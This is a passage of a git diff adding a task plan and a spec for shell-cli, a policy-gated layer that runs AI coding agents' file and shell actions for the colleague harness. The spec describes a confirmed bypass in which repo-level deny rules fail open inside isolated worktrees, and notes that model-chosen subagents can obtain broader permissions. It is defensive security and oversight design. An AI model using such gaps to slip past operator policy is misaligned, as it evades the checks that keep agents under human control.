shell/fs/__init__.py is an EMPTY package marker — no functional exports are predeclared before the modules exist; consumers use explicit module imports + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t77` + +[shell-cli / M1 / PR7 / publishes] Evidence contract: effects-completeness marker, redaction scope, schema_version on persisted records, storage location, retention, degraded-evidence behaviour — tested against SYNTHETIC results. owns: shell/evidence.py, docs/evidence-contract.md + +- **Depends on**: `t76` +- **Covers**: `c45`, `c46`, `h34`, `c66`, `h61` +- **Acceptance criteria** (5): + - The contract states which secret classes are redacted and which are not; a test shows a declared secret redacted while acknowledging an undeclared secret echoed by a command is not + - schema_version is readable off Operation, OperationResult and any persisted evidence record; storage location and retention are documented + - A forced evidence-write failure yields a result explicitly marked degraded, never a silent success + - SCOPE: contract-level only against synthetic results. Real process.shell effects integration is the M1 process task; colleague lint routing is Milestone 3 + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t78` + +[shell-cli / M1 / PR8 / publishes] Port the policy evaluator with no config-dir coupling, and snapshot policy from source_root with generalised read-only paths. owns: shell/policy.py, tests/test_policy.py. consumes: colleague @ fixed SHA + +- **Depends on**: `t76`, `t75`, `t69` +- **Covers**: `c26`, `h54`, `c11`, `h5`, `c12`, `h6` +- **Acceptance criteria** (6): + - shell-cli's policy module imports nothing from colleague and resolves no config-dir layout of its own + - colleague's existing approvals.json files load through the adapter and produce byte-identical verdicts + - Absent, malformed and expected-but-unresolved remain three distinct states + - An operation whose work_root contains a policy file cannot change its own active authorization + - Extraction begins only with the drift gate already live + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t79` + +[shell-cli / M1 / PR9 / publishes] Evaluate policy INSIDE the operation dispatch on REWRITTEN arguments, so no caller can route around the gate. owns: shell/operations.py dispatch, tests/test_dispatch_policy.py + +- **Depends on**: `t78` +- **Covers**: `c53`, `h41`, `c56`, `h56` +- **Acceptance criteria** (4): + - A caller invoking dispatch directly with no orchestration layer still receives the policy verdict + - A rewrite turning an ALLOWED command into a DENIED one is caught, because the gate inspects rewritten arguments not the original call + - A rewrite may change arguments only; the operation kind passes through unchanged + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t80` + +[shell-cli / M1 / PR10 / publishes] HostRunner execution semantics: process groups, timeout and cancellation escalation, orphan-prevention honesty. owns: shell/runners/host.py, tests/test_host_runner.py + +- **Depends on**: `t77`, `t79` +- **Covers**: `c65`, `h60` +- **Acceptance criteria** (4): + - Commands start in their own process group; on timeout or cancel the group is terminated, waited briefly, then killed + - Evidence records the termination signal and the escalation path + - Platforms where orphan prevention is incomplete are named in documentation + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t81` + +[shell-cli / M1 / PR11 / publishes] fs.read and fs.list, preserving number-then-truncate and the recoverable-error wrapper. owns: shell/fs/read.py, shell/fs/list.py (DISJOINT) + +- **Depends on**: `t79`, `t77` +- **Covers**: `c17`, `h52` +- **Acceptance criteria** (5): + - A truncated read's surviving line numbers match the real file — numbering precedes truncation + - A handler raising an unexpected exception yields a recoverable model-visible error, never a run abort + - Paths escaping the configured root are refused + - Imported by explicit module path; no functional export is added to shell/fs/__init__.py + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t82` + +[shell-cli / M1 / PR12 / publishes] fs.write and fs.edit with byte accounting. owns: shell/fs/write.py (DISJOINT) + +- **Depends on**: `t79`, `t77` +- **Covers**: `c18` +- **Acceptance criteria** (5): + - The executor serves the six primitives without requiring spawn, batch_spawn, deepthink or an allowlist + - bytes_written matches colleague: full content on write, replacement bytes only on edit + - Results carry schema_version and declared changed-path effects + - Imported by explicit module path; no functional export is added to shell/fs/__init__.py + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t83` + +[shell-cli / M1 / PR13 / publishes] fs.media vendoring only the media slice while preserving the handler-level 4 MiB cap and images-only rule. owns: shell/fs/media.py (DISJOINT) + +- **Depends on**: `t79`, `t77` +- **Covers**: `c15`, `h8`, `c10`, `h4`, `c44`, `h32` +- **Acceptance criteria** (5): + - A 5 MiB PNG is REFUSED and an audio file refused with the images-only message, asserted against both the colleague and shell-cli paths + - A source scan confirms flatten_parts and IMAGE_TOKEN_ESTIMATE are absent from shell-cli + - colleague's five media call sites stay green against its retained copy + - Imported by explicit module path; no functional export is added to shell/fs/__init__.py + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t84` + +[shell-cli / M1 / PR14 / publishes] process.exec and process.shell with distinct profiles, separately captured stdout/stderr, and REAL effects/redaction integration. owns: shell/process/exec.py, shell/process/shell.py + +- **Depends on**: `t80` +- **Covers**: `c24`, `h12`, `h33` +- **Acceptance criteria** (8): + - OperationResult always captures stdout and stderr SEPARATELY; the colleague adapter renders the legacy concatenated string during parity + - process.shell and hook execution carry distinct profiles in evidence + - REAL integration: an actual shell command that writes a file it never declared reports effects_complete = false + - REAL integration: an actual command echoing a declared secret has it redacted in captured output + - Control operations use argv vectors, never raw shell strings + - run_command parity: fresh shell, rooted cwd, bounded timeout, current output rendering + - DEFERRED: routing colleague's real lint/run_tests/hook execution is Milestone 3 + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t85` + +[shell-cli / M1 / PR15 / publishes] Policy and operation CLI surface with honest scope reporting; library-versus-CLI equivalence proven with a REAL fs.read operation. owns: shell/cli/_commands/policy.py, operation.py, shell/explain/catalog.py + +- **Depends on**: `t79`, `t77`, `t81` +- **Covers**: `c13`, `h7`, `c51`, `h39`, `c7`, `h3`, `h46` +- **Acceptance criteria** (7): + - Library/CLI equivalence uses a REAL fs.read operation (not a synthetic injected one): the same Operation through the library API and through the CLI yields identical status, policy verdict and effects + - The CLI reaches no execution path the library cannot + - 'shell policy check' returns the same Verdict the execution path would apply — same allow/deny and same reason string + - 'shell policy explain' names gated operation kinds AND reports ungated kinds as explicitly ungated + - 'shell operation show' retrieves persisted evidence written under the evidence contract + - Registering a verb with no catalog entry fails CI; every noun with action-verbs exposes 'overview' + - INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice + +### `t86` + +[colleague / M2 / PR1 / publishes a colleague release] Add the bounded shell-cli dependency and compose the adapter into colleague's router WITHOUT subclassing, proving colleague drives all six tools through shell-cli. owns: colleague/tools.py, loop.py, pyproject.toml, tests/test_zero_deps.py + +- **Depends on**: `t81`, `t82`, `t83`, `t84`, `t85` +- **Covers**: `h15`, `h53` +- **Acceptance criteria** (6): + - colleague drives every one of its six tools through shell-cli without importing anything colleague-specific from it + - colleague composes shell-cli's executor without subclassing it + - Role curation and runtime refusal, hook rewrite before policy, and policy-denial telemetry meaning are unchanged + - write_file/edit_file still apply immediately through the adapter; changed-file, subagent and bytes_written accounting stay intact + - The adapter renders the legacy concatenated stdout+stderr string so model-visible behaviour is unchanged + - The dependency lands with an upper bound, and the zero-deps test plus its docstring are updated in the same commit + +### `t87` + +[colleague / M2 / PR2 / publishes a colleague release] Run differential parity — both implementations in one session over identical fixtures — then remove colleague's legacy implementation. owns: colleague/tools.py (legacy handler removal) + +- **Depends on**: `t86` +- **Covers**: `c31`, `h19`, `c36`, `h21`, `h18` +- **Acceptance criteria** (5): + - Both implementations run against identical fixtures IN THE SAME SESSION with zero behavioural differences BEFORE any legacy code is deleted + - Schema-diff count, base dependency count and behavioural-diff count are CI assertions that fail the build when non-zero + - The six schemas remain byte-identical through the cutover + - After cutover, the safety description in shell-cli and in colleague say the same thing about the same code path, with no surface claiming more than the runner delivers + - Legacy handlers are removed only after parity is green; the drift gate is retired in the same PR + +## Deferred targets + +These are **confirmed roadmap requirements**, deliberately not covered by +this plan and deferred to separately scoped plans. No task in this plan +claims to deliver them. + +- `c25` +- `c29` +- `c40` +- `c47` +- `c60` +- `c8` +- `h13` +- `h17` +- `h27` +- `h35` +- `h45` +- `h51` + +## Open risks + +- **`r1`** (unknown_nonblocking): Container isolation profile cannot be verified until ContainerRunner exists, and Docker/Podman defaults differ — 'configured' and 'verified' must not be conflated in Milestone 4 +- **`r2`** (unknown_nonblocking): Project containers and git metadata: mounting only a linked worktree does not preserve in-worktree git behaviour, and mounting the host common .git writable is forbidden. Undecidable until Milestone 4 +- **`r3`** (unknown_nonblocking): Whether shell-cli's policy file format stays byte-compatible with colleague's approvals.json or goes native with a compatibility reader — a divergent format mis-keys silently rather than erroring +- **`r4`** (unknown_nonblocking): Surfaces the challenge pass did not examine: telemetry/OTEL, the agentfront CLI registry, MCP, resident/appserver, TUI, and non-POSIX hosts +- **`r6`** (out_of_scope): OUT OF SCOPE BY DECISION: c47/h35 (worktree concurrency and the non-reentrant advisory flock) belongs to Milestone 3 — routing colleague's git/worktree mechanics through shell-cli. This plan covers Security lane + M0/M1 + M2 cutover only, so no task delivers it and the target is deliberately UNCOVERED rather than covered by a task that merely mentions it. +- **`r7`** (out_of_scope): OUT OF SCOPE BY DECISION: c60/h45 (deliberate hook-specific policy) is explicitly a standalone, separately reviewed design change and not part of migration parity. No task in this plan delivers it; the target is deliberately UNCOVERED. +- **`r11`** (out_of_scope): DEFERRED TO M4 (not covered, by decision): c8/h51 — the ContainerRunner-specific per-runner split of docs/threat-model.md. It must land in the same PR that introduces ContainerRunner, which is Milestone 4. +- **`r12`** (out_of_scope): DEFERRED TO M3 (not covered, by decision): c29/h17 — the complete after-state where EVERY local operation is mediated and colleague has no unclassified direct subprocess path. This plan delivers the operation plane and the six primitives; routing the remaining control/project paths is Milestone 3. +- **`r13`** (unknown_blocking): COVERAGE-MODEL LIMITATION (devague#85): these 12 targets are confirmed roadmap requirements deferred to separately scoped plans. Export coverage should be calculated against THIS plan's declared target subset, not every confirmed target in the parent spec. No placeholder task pretends to deliver them. Until devague supports deferred targets, this plan will not pass 'plan converge' — that is a tool limitation, not a plan defect. +- **`r14`** (out_of_scope): DEFERRED TO M3 (not covered, by decision): c40/h27 — driving subprocess debt from 13 to zero. t73 installs the scanner and reports the debt_remaining counter only; migrating all 13 debt-tagged modules through shell-cli is Milestone 3. +- **`r15`** (out_of_scope): DEFERRED TO M3 (not covered, by decision): c25/h13 — routing colleague's real lint execution through shell-cli so its ruff --fix mutations surface as changed-path effects. t77 covers the generic evidence contract against synthetic results; t84 covers real process.shell effects and redaction integration. The colleague lint proof is Milestone 3. + +## Resolved risks + +Retained for the audit trail. These are NOT live — do not action them. + +- **`r5`** (unknown_blocking) — CLOSED — stale. Referenced rejected tasks t15/t16/t17 from the first plan draft. The collision is resolved in the final graph: fs is split into disjoint modules (t81 owns read.py+list.py, t82 owns write.py, t83 owns media.py), the executor constructor is hoisted into the t76 foundation, and shell/fs/__init__.py is an empty package marker with consumers using explicit module imports. No same-wave file contention remains. +- **`r8`** (follow_up) — CLOSED — stale. Referenced rejected tasks t40-t42 and proposed declaring exports once in shell/fs/__init__.py, which the final plan rejects: predeclaring functional exports before the modules exist would mean fake or stub exports. The adopted solution is an EMPTY package marker plus explicit module imports, asserted in t76 and in each of t81/t82/t83. +- **`r9`** (out_of_scope) — SUPERSEDED by r14 — text referenced rejected task t53; the scanner task is now t73. +- **`r10`** (out_of_scope) — SUPERSEDED by r15 — text referenced rejected tasks t57 and t65; the evidence-contract task is now t77 and the process task is now t84. + +--- + + diff --git a/docs/specs/2026-07-18-guarded-local-operations-plane.md b/docs/specs/2026-07-18-guarded-local-operations-plane.md new file mode 100644 index 0000000..b016b42 --- /dev/null +++ b/docs/specs/2026-07-18-guarded-local-operations-plane.md @@ -0,0 +1,227 @@ +# guarded local operations plane + +> shell-cli is the guarded local operations plane for AI agents: every work-affecting local operation an agent takes — read, write, edit, list, media, shell, tests, lint, hooks, git/worktree, trusted CLI invocation — is normalized into one Operation, evaluated against an operator policy snapshot, executed in an explicitly selected environment (host or container), and returned with structured evidence. shell-cli owns NORMALIZATION, PREVIEW, OPERATION-POLICY AUTHORIZATION, EXECUTION, and EVIDENCE. Colleague decides why, when, and which — all cognitive planning remains Colleague's. (Issue #1 section 1 words shell-cli's role as 'plan, authorize, execute, observe, record'; 'plan' there means planning the OPERATION — normalize and preview it — not planning the work, and this wording makes that unambiguous rather than contradicting the issue.) +> instruction: Build the lifecycle pipeline first (Operation -> policy -> runner -> result+evidence) with HostRunner as the only backend, then express the six colleague primitives as operation kinds on top of it. Do not build the six primitives first and retrofit a pipeline. + +## Audience + +- AI coding-agent harnesses that must touch the local machine. colleague is the first and currently only real consumer; webglass-cli, eidetic-cli and coherence-cli are adjacent capability CLIs, not consumers. Secondary audiences the evidence surface must serve: the operator, telemetry, and an external validator such as Heimdall. + - instruction: Design each API against the colleague call site AND one hypothetical second harness; if a parameter only makes sense to colleague, it belongs in the adapter, not the core. + +## Before → After + +- Before: The file-and-shell surface lives inside colleague, welded to one host: 21 process-spawn literals across 15 modules (scanner-verified at colleague 28fee290c51fc4310b9fc576981809ad5c3132c6 — an earlier hand count of 16 was wrong), a ToolExecutor mixing six generic primitives with colleague-specific tools, and a policy evaluator coupled to colleague's config-dir layout. Every other harness that needs the same primitives reimplements them — and reimplements the safety model with them, usually worse. + - instruction: Start Milestone 0 by committing the scanner and its pinned SHA so drift in colleague is detectable mechanically rather than re-surveyed by hand. +- After: Every work-affecting local operation is normalized into one Operation, evaluated against an operator policy snapshot, executed in an explicitly selected environment, and returned with structured evidence including an honest completeness marker. colleague imports shell-cli and has no unclassified direct subprocess path; shell-cli never imports colleague. + - instruction: Ship the known-debt allowlist (scripts/colleague_inventory.py --check) in Milestone 0 so a NEW unclassified path fails immediately while the 13 DEBT-TAGGED MODULES (of 15 spawning modules, covering 21 spawn sites) are tracked as scheduled migrations. The gate passes throughout — it is a countdown to zero by Milestone 3, never a deliberately red test. + +## Why it matters + +- Safety claims that are reimplemented per harness drift, and drift silently. Consolidating the mechanism into one plane means the guard, the policy, the confinement and the evidence are written once, tested once, and — critically — described honestly once, instead of each harness quietly reinventing a weaker version while inheriting the stronger claim. + - instruction: When migrating each primitive, diff colleague's honest comments against shell-cli's docs and carry the candid wording verbatim rather than paraphrasing it upward. + +## Requirements + +- CLAUDE.md is stale against the source of truth: it documents the narrow 'extract six primitives + confinement + policy' framing and a 'Definition of done, first milestone' that issue #1 explicitly supersedes ('supersedes the original narrow extract-six-tools framing while preserving that extraction as the first compatibility slice'). It must be rewritten to the operation-plane model before it misdirects the next agent that reads it. + - honesty: CLAUDE.md contains no statement contradicting issue #1, and its own 'source of truth' line makes the issue authoritative so future drift resolves in the issue's favour rather than ambiguously. +- Every new noun/verb needs a shell/explain/catalog.py entry — tests/test_cli.py::test_every_catalog_path_resolves walks the catalog and the teken rubric gate requires any noun with action-verbs to expose 'overview'. Issue #1 §6's canonical groups (env, fs, process, git, policy, operation) add roughly 20 new paths, so catalog + explain authoring is per-slice work, not a final docs pass. + - honesty: Adding a noun/verb without a catalog entry fails CI — verified by temporarily registering a verb with no entry and observing test_every_catalog_path_resolves fail. +- view_media TRAVELS to shell-cli — issue #1 §5 maps it to a 'confined neutral fs.media observation' owned by shell-cli, with Colleague adapting the model payload. This closes CLAUDE.md's first parked open question, and makes the media result provider-neutral (§16) rather than shaped for one harness's message format. + - honesty: view_media works in shell-cli with no colleague import, and colleague's own five media call sites (loop, deepthink, context, livecheck, appserver) stay green against colleague's retained copy. +- Policy splits along evaluator-vs-location: the evaluator and policy DATA STRUCTURES move to shell-cli, but location resolution does NOT (issue #1 §7). shell core accepts explicit policy data/files with no .colleague import; the Colleague adapter preserves existing repo/user/model overlays and the current file format during migration; shell-native policy versions independently. Absent policy and malformed-configured policy must stay distinct states — a malformed declared gate must never silently become allow-all. + - honesty: shell-cli's policy module has zero colleague imports and passes an import-leak guard, while colleague's existing approvals.json files continue to load and produce byte-identical verdicts through the adapter. +- The read-only guard IS generalised: issue #1 §3 lists 'read-only paths' as a plural environment attribute alongside mount, network, and secret policy — not colleague's hard-coded .colleague/neighbours subtree. Policy is snapshotted from trusted control context before model mutations so an agent cannot edit its own active authorization from inside the work root. + - honesty: An operation whose work_root contains a policy file cannot change its own active authorization: a test mutates the policy inside the work root mid-run and asserts the snapshot taken from source_root still governs. +- Policy IS a first-class CLI surface: issue #1 §6 lists 'shell policy check|explain' and 'shell operation show' among the canonical groups, closing CLAUDE.md's fourth parked question. Compatibility aliases (shell read/edit/run) may exist but must not distort the library model. + - honesty: 'shell policy check' returns the same Verdict the execution path would apply — same allow/deny and same reason string — so operators can predict a gate without running the command. +- colleague/media.py cannot MOVE, only be copied: it is 111 lines and fully stdlib-clean (imports only base64 and pathlib), but flatten_parts and IMAGE_TOKEN_ESTIMATE serve five colleague-only call sites (loop.py, deepthink.py, context.py, livecheck.py, appserver.py) that shell-cli must not own. view_media needs only _MEDIA_TYPES + validate_attachment + build_part (~50 lines). Vendor that slice; colleague keeps its copy. + - honesty: shell-cli vendors only the media slice it uses; a source scan confirms flatten_parts and IMAGE_TOKEN_ESTIMATE are absent from shell-cli, and colleague's copy is untouched by the migration. +- Schema byte-equivalence (issue #1 §10) has concrete traps: SCHEMAS[:6] is a contiguous clean slice (tools.py:113-235) but _PATH_DESC (tools.py:61) is a shared constant interpolated into four of the six descriptions and must travel verbatim; list_dir uniquely has NO 'required' key at all; read_file's description embeds literal backslash-t escapes. A snapshot test comparing serialized JSON is the only honest guard. + - honesty: A snapshot test serializes shell-cli's six schemas and asserts byte-equality against a fixture captured from colleague 1.51.0, including key order, _PATH_DESC interpolation, list_dir's absent 'required' key, and read_file's literal backslash escapes. +- The extracted executor's constructor is tiny: the six handlers touch only root, changed, bytes_written, _max_output_chars and the class-level _CLONE_SUBDIR. spawn, batch_spawn, deepthink, deepthink_calls, sub_results, _is_read_only and _allowlist are untouched by all six. This confirms issue #1 §12's 'compose shell-cli into Colleague's router; do not subclass it' and refutes CLAUDE.md's proposed 'colleague subclasses the base executor' seam — no inheritance is needed because there is almost no shared state. + - honesty: colleague composes shell-cli's executor without subclassing it, and shell-cli's executor constructor requires none of spawn, batch_spawn, deepthink, or an allowlist to serve the six primitives. +- Issue #1 §17 gates large-scale work behind a concrete Milestone 0/1 plan posted as an issue reply, naming six things: (1) proposed Operation/OperationResult/Environment types; (2) the exact Colleague characterization tests; (3) how policy ordering and role refusal stay unchanged; (4) how state/accounting maps without importing Colleague; (5) which direct subprocess paths are parked for Milestone 3; (6) the smallest first PR that proves the seam without duplicating a framework. It also asks that Devague challenge the plan for boundary leaks, false safety claims, version skew, and environment-bypassing operations — so /challenge is an expected leg, not optional. + - honesty: The Milestone 0/1 plan is posted as a reply on issue #1 and answers all six numbered items, and no SHELL-CLI IMPLEMENTATION PR merges before it is posted. This gate governs shell-cli implementation only; it does not delay the urgent colleague policy-resolution patch, which is independently scoped security work. +- The Milestone 3 'boundary test preventing new unclassified direct subprocess paths' (issue #1 §12) does not need inventing — colleague/tests/test_boundary.py ALREADY pins the set of modules permitted to import subprocess. The migration extends an existing enforced invariant rather than establishing a new one, which materially lowers the risk of that milestone. + - instruction: Wire 'python3 scripts/colleague_inventory.py --check' into CI at Milestone 0 so a new unclassified path fails immediately while the 13 known-debt modules are migrated. Decrement the debt list as each module routes through shell-cli; the milestone is not done while any debt=True entry remains. + - honesty: The boundary invariant is enforced by a COMMITTED KNOWN-DEBT ALLOWLIST, not by deliberately breaking anything. scripts/colleague_inventory.py ships an ALLOWLIST naming every module permitted to spawn a process today, each tagged with its profile and a debt flag; --check exits non-zero the moment a spawn literal appears in a module outside that list. Verified against a synthetic fixture rather than by mutating colleague: an unclassified path yields exit=1 naming the offending file:line, while colleague at the pinned commit yields exit=0. Debt starts at 13 modules and MUST reach zero by the end of Milestone 3 — a debt entry is a scheduled migration, not a permanent exemption. +- Two shell=True sites have different trust stories and warrant different mediation, though colleague justifies both with the same 'trusted operator env' comment: tools.py:1022 runs a model-authored string with no allow-list beyond the clone guard, while hooks.py:405 runs a repo-authored .colleague/hooks.json command AROUND EVERY TOOL CALL including control-plane ones. Collapsing them into one process.shell operation kind would flatten a real trust distinction. + - honesty: process.shell and the hook execution path carry distinct profiles in evidence, so an operator can tell from an evidence record whether a command was model-authored or repo-authored. +- colleague/lint.py:100-102 runs 'ruff check --fix' and 'ruff format' — it MUTATES tracked source in the target workspace while being classified as a gate. This is the highest-value ambiguity in the inventory, and it contrasts deliberately with tools.py:1213-1219 which goes out of its way to keep run_tests byte-neutral. Under issue #1 §5 lint maps to process.exec profile project, so its mutations must surface in OperationResult's changed-paths effects rather than being invisible because 'it is only a linter'. + - honesty: A lint operation that rewrites files reports those files in OperationResult's changed-paths effects; a test runs a formatter over a deliberately misformatted file and asserts the path appears. +- Documentation surfaces are per-slice deliverables, not a final pass. Every slice must leave CLAUDE.md, README.md, docs/threat-model.md, shell/explain/catalog.py, and the Status sections in learn/overview/explain honest about what is actually built. This is machine-backed: test_honesty.py gates the posture across six surfaces and test_every_catalog_path_resolves gates the catalog, so a slice that ships code without docs fails CI rather than merely drifting. + - instruction: Add the catalog entry and Status-section update in the SAME commit as the verb it documents; never leave doc updates to a follow-up PR. + - honesty: A slice that adds a verb without updating the Status sections and catalog fails CI, and docs/threat-model.md gains its per-runner split in the same PR that introduces ContainerRunner — not a later one. +- ALL repository guidance must match the operations-plane issue, not just CLAUDE.md. Every guidance surface in this repo — CLAUDE.md, AGENTS.colleague.md, README.md, docs/threat-model.md, shell/explain/catalog.py, and the learn/overview/explain Status sections — must describe the operation plane and must contain no statement the issue supersedes. Two specific classes of staleness are named because they actively misdirect: (1) the proposed 'colleague subclasses the base executor' extraction seam, which issue #1 section 12 forbids in favour of composition, must be removed wherever it appears; (2) the open questions the issue already settles — view_media travels, the policy evaluator moves while location resolution stays, read-only paths generalise, and shell policy check/explain is first-class — must not be presented as open anywhere. CLAUDE.md was rewritten this session (49 tests green, markdownlint clean, test_honesty.py passing); the remaining surfaces are unaudited and in scope. + - instruction: Audit AGENTS.colleague.md and README.md against the issue in the same slice that lands this frame's spec — CLAUDE.md is done, they are not. Re-verify quoted colleague line numbers whenever colleague's pinned commit moves; stale provenance is worse than none. + - honesty: A grep across every guidance surface finds no occurrence of the subclass seam and no presentation of a settled question as open; and no guidance surface contradicts issue #1 on the operation model, the two-axis environment, the profiles, or the safety layering. +- VERSION SKEW: a bare '>=' floor pin is unsafe for a 0.x package under active construction. colleague pins its one dep as 'agentfront>=0.20.0' and would pin shell-cli the same way, but semver gives 0.x minors no compatibility guarantee — so 'shell-cli>=0.8' silently admits a breaking 0.9. Combined with shell-cli auto-publishing to PyPI on every merge to main (.github/workflows/publish.yml, paths pyproject.toml and shell/**), colleague can acquire a breaking shell-cli without any colleague review. The compatibility invariant that the six tool schemas stay byte-equivalent 'until an intentional separately-reviewed schema change' is unenforceable across that boundary: shell-cli could change them in a minor and colleague's model-facing schemas would shift without colleague reviewing anything. shell-cli must either pin an upper bound in colleague, reach 1.0 before Milestone 2 cutover, or publish an explicit stability contract naming which surfaces are frozen. + - honesty: colleague's resolved shell-cli version is bounded on both sides, or shell-cli is 1.0+ with a written stability contract, before Milestone 2 removes colleague's own implementation. Verified by installing the highest version the pin permits and running colleague's characterization suite green. +- ROLLBACK: PyPI is append-only. A published shell-cli release can be yanked but never removed, so 'undo the release' is not a recovery path — any colleague install that already resolved the bad version keeps it, and yanking only affects future resolution. Because publish is automatic on merge to main and the publish job gates on pytest alone (not the lint gates, and not version-check, which runs only on pull_request), a merge that is green on tests but broken in behaviour reaches PyPI with no human step in between. The recovery path must be forward-only: a fix-forward release plus a documented yank procedure, and colleague's floor must be movable without a colleague code change. + - honesty: A deliberately broken release can be recovered from by publishing a higher fixed version and yanking the bad one, with the procedure written down before Milestone 1 publishes anything colleague depends on — not improvised during an incident. +- MEDIA LIMIT TRAP: view_media's real constraints live in the HANDLER, not in media.py, so 'vendor the ~50-line media slice' silently loses them. tools.py:840 enforces MAX_MEDIA_BYTES = 4 MiB (tools.py:66) BEFORE calling media.validate_attachment, which independently enforces its own MAX_ATTACHMENT_BYTES = 16 MiB (media.py:20). The tighter check wins today, so view_media's effective cap is 4 MiB; vendoring only validate_attachment plus build_part would loosen it 4x to 16 MiB. Separately, tools.py:849 rejects any non-image media type even though media.py's _MEDIA_TYPES includes wav/mp3/ogg/flac — so images-only is also a handler-level rule absent from the module. Issue #1 section 10 lists 'media size/type limits remain compatible' as a compatibility invariant, and both of these would breach it silently rather than loudly. + - honesty: A parity test asserts a 5 MiB PNG is REFUSED and an audio file is refused with the images-only message, run against both the colleague path and the shell-cli path, so a loosened cap fails rather than passing quietly. +- CONCURRENCY: colleague serializes worktree administration behind an advisory exclusive fcntl.flock over a per-repo lock file (worktrees.py:138-170, _ADMIN_LOCK_NAME in the runtime state dir). Issue #1 section 5 moves generic worktree add/remove/prune to shell-cli, so that lock must travel with the mechanism — otherwise parallel colleague children racing worktree add/remove against a shared repo lose their mutual exclusion the moment the operation is 'just' delegated. Three properties of the existing lock must be preserved deliberately, not reimplemented casually: it degrades rather than raising when fcntl is unavailable (non-POSIX) or the lock file cannot be opened, it never blocks a run that has no lock available, and it is explicitly NOT reentrant (teardown_all calls the already-guarded worktree_remove sequentially, never while holding its own lock). A reentrant-by-accident redesign in shell-cli would deadlock colleague's teardown path. + - honesty: Two concurrent shell-cli worktree operations against the same repo serialize, a non-POSIX host degrades to unlocked rather than crashing, and colleague's teardown_all path completes without deadlock under the new implementation. +- VERIFIED POLICY BYPASS IN COLLEAGUE TODAY (not a migration risk — a present-tense bug). Repo-level run_command policy silently fails OPEN on the default 'colleague work' path. Chain: colleague/cli/_commands/work.py:1934 always isolates (isolate=True); _isolate_for_write rewrites task.repo_path to the worktree (work.py:309, worktrees.py:413); loop.py:4096 re-resolves policy by path via load_policy(task.repo_path); and .colleague/approvals.json is gitignored, so 'git worktree add' — which checks out TRACKED files only — never materializes it. EMPIRICALLY CONFIRMED with a scratch probe: load_policy on the operator repo returns is_empty=False and denies curl with a reason; load_policy on a worktree of that same repo returns is_empty=True and ALLOWS curl with no reason and no diagnostic anywhere. The same mechanism voids repo-level hooks.json approvals. Two honest limits on this claim: user-level ~/.colleague/approvals.json still resolves normally, so only REPO-level policy is lost; and the probe exercised load_policy directly rather than a full agent run, though every link in the chain is cited. tests/test_policy_all_engines.py drives an in-place tmp_path repo and never exercises the isolation worktree, which is why CI is green. + - instruction: Do NOT publish the complete exploit chain as an ordinary public issue. Use a private GitHub security advisory (or a private fix PR) on colleague, release the fix, then disclose. The fix precedes shell-cli implementation: (1) resolve and snapshot policy/hooks from the operator/source root BEFORE creating the worktree; (2) inject that snapshot into the isolated loop and into subagents; (3) distinguish absent, malformed, and expected-but-unresolved; (4) add isolated-work and nested-subagent regression tests. shell-cli's architecture then makes the fix structural rather than a patch — issue #1 section 3 already requires exactly this snapshotting. + - honesty: A test authors a repo-level approvals.json with a deny, runs the isolated work path, and asserts the denial still fires — i.e. policy is resolved from the operator's trusted control context, not from the mutable work root. +- FAIL-OPEN SILENCE is the amplifier that turns the worktree resolution gap into a bypass. colleague/policy.py:229-230 returns Verdict(True) unconditionally when a section is absent, which is correct back-compat semantics, but nothing distinguishes 'the operator declared no policy' from 'the operator declared a policy that failed to load'. Policy.is_empty() exists (policy.py:177) and nothing warns on it. Issue #1 section 7 already requires that absent policy and malformed configured policy stay distinct states; this finding extends that to a third state — DECLARED BUT UNRESOLVED — which is the one that actually bit. shell-cli must emit a diagnostic when a policy file was expected and none resolved, and must never let that condition read as allow-all without saying so in evidence. + - honesty: An environment configured to expect a policy that resolves to nothing produces a visible diagnostic and marks the operation's evidence as running under no policy — it never silently reports an ordinary allowed verdict. +- SUBAGENT POLICY IS RE-RESOLVED, NEVER INHERITED. run_subagent calls eng.work(child_task, child_config) (subagents.py:398) with a config carrying no policy field (subagents.py:354-357), so each child loads its own Policy by path. Two consequences: batch children get a NESTED worktree (subagents.py:532-536), so the untracked-file gap recurs one level deeper; and because the model chooses the child's model (subagents.py:221-244) and per-model overlays replace whole sections (policy.py:394), a model-switched child can land on a MORE PERMISSIVE run_command section than its parent. The overlay is still operator-authored on disk, so this is a sharp edge rather than a bypass — but the selection is model-driven, not operator-driven. No test covers subagent policy inheritance at all. shell-cli should thread the resolved Policy into child environments rather than letting each re-resolve. + - honesty: A child environment's effective policy is derived from the parent's snapshot, and a test asserts a child cannot obtain a broader run_command allowance than its parent by selecting a different model. +- DUAL-IMPLEMENTATION DRIFT: Milestone 1 does not remove colleague's implementation and Milestone 2 runs old and new characterization in parallel, so both copies are live while colleague ships continuously (1.51.0 today). A bug fixed in one copy silently diverges from the other, and the characterization suite then compares a fixed implementation against an unfixed one — a false failure, or against stale fixtures, a false pass. NOTE: 'mirror the change in the same PR' is IMPOSSIBLE across repository boundaries — a single PR cannot span shell-cli and colleague. The workable mechanisms are: coordinated paired PRs landed together, or a source-hash gate where colleague's copy of each handler is hashed and CI fails when the hash moves without a matching shell-cli change. Above all, MINIMIZE THE WINDOW: the shorter the period both implementations are live, the smaller this whole class of risk. + - instruction: Treat the dual-implementation window as a cost to be minimized, not a phase to be managed: sequence Milestones 1 and 2 back-to-back and do not start Milestone 1 until the cutover in 